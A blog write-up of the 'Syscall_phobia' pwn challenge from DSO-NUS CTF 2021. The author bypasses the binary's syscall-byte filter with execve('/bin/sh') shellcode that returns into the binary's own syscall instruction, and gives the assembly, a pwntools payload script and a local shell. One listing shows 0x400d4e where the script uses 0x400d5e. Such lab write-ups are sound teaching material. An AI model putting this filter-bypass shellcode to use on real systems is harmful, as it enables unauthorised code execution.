DSO-NUS CTF 2021 Write-up – Syscall_phobia

Dear readers,

Today’s post is on a CTF which I joined earlier this year. I no longer have access to the pwn server but I still have the file which the server runs on. Let’s get started!

Files provided

There is only one 64-bit ELF provided:

Outlook of the program

$ ./syscall_phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here πŸ˜€
Example: 554889e5c9c3

Enter assembly bytecode here! (No syscalls please, tenks):

If we purposely input assembly bytecode of syscall “int 0x80” which is cd80:

$ ./syscall_phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here πŸ˜€
Example: 554889e5c9c3

Enter assembly bytecode here! (No syscalls please, tenks):
cd80
Hey! I told you no syscalls! 😦

Reverse Engineering

You may download the database of IDA I have reverse engineered here.

If we look at the assembly code in Fig 4a, we can see that the red box will prompt and get our input. The Green box will go into a function to check if our input only contains REGEX [0-9A-Fa-f]* which is to check if it only contains hexadecimal values. The orange box will check if our shellcode contains syscall value 0x0f05.

Fig 4a. Assembly block of main() before conditional jump

This can be verified by looking at offset unk_400D5E:

Fig 4b. Two different type of syscall located at 0x400D5C and 0x400D61

We can see that at 0x400D5E, it contains 0x0F05 while 0x400D61 contains 0xCD80 which is a legacy version of syscall.

If there is “0F05” in our shellcode, a jump will occur, causing the program to print our we included syscall. Otherwise, our shellcode will be checked against the legacy syscall 0xCD80 as shown in the green box in Fig 4c.

Fig 4c. Checking for legacy syscall in our shellcode

Crafting shellcode

Googling for an x86-64 shellcode tutorial, I came across this website axcheron.github.io here. Based on the tutorial, the shellcode is:

xor rax, rax
push rax        ; string terminator
mov rax, 0x68732f6e69622f2f ; "hs/nib//" (Yay! 64-bit registers)
push rax
mov rdi, rsp    ; "//bin/sh",0 pointer is RSP
xor rsi, rsi    ; RSI = 0
xor rdx, rdx    ; RDX = 0
xor rax, rax    ; RAX = 0
mov al, 0x3b    ; execve()
syscall

However, remember we cannot use syscall? Therefore, we can work around it by jumping to the 0x400D5E that contains the bytecode of syscall to execute it! However, we have to see if the file has ASLR. We can solve this by using checksec.

$ checksec --file=./syscall_phobia
[*] '/home/soulx/documents/CTF/DSO_NUS_21/syscall_phobia'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This shows that there is no ASLR since there is no PIE (Position-independent Execution), as well as the program is in little-endian format.

To jump to that location, we can do the Return-Oriented Programming way by pushing 0x0000400D5E onto the stack which acts as the return address before we execute RET instruction.

Below shows the new code:

xor rax, rax
push rax        ; string terminator
mov rax, 0x68732f6e69622f2f ; "hs/nib//" (Yay! 64-bit registers)
push rax
mov rdi, rsp    ; "//bin/sh",0 pointer is RSP
xor rsi, rsi    ; RSI = 0
xor rdx, rdx    ; RDX = 0
xor rax, rax    ; RAX = 0
mov al, 0x3b    ; execve()
push rax        ; push 0x00000000 1st due to little-endian
push 0x400d4e   ; return address to jump to
ret

We can easily obtain the shellcode using pwntools:

from pwn import *

context.update(arch="amd64", os ="linux")

# https://axcheron.github.io/linux-shellcode-101-from-hell-to-shell/
payload = asm("xor rax, rax") + 
asm("push rax") + 
asm("mov rax, 0x68732f6e69622f2f") + 
asm("push rax") + 
asm("mov rdi, rsp") + 
asm("xor rsi, rsi") + 
asm("xor rdx, rdx") + 
asm("xor rax, rax") + 
asm("mov al, 0x3b") + 
asm("push rax") + 
asm("push 0x400d5e") + 
asm("ret")
payload = "".join(format(x, '02x') for x in payload)
# result: 4831c05048b82f2f62696e2f7368504889e74831f64831d24831c0b03b50685e0d4000c3
print(payload)

Once we get the shellcode in a string without “\x”, we can then try it.

$ ./syscall_phobia
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here πŸ˜€
Example: 554889e5c9c3

Enter assembly bytecode here! (No syscalls please, tenks):
4831c05048b82f2f62696e2f7368504889e74831f64831d24831c0b03b50685e0d4000c3
Executing your assembly code!
$ whoami
soulx
$

This shows that our shellcode works! Unfortunately, I don’t have access to the server anymore to show that it can work against the server too.

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. πŸ™‚

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.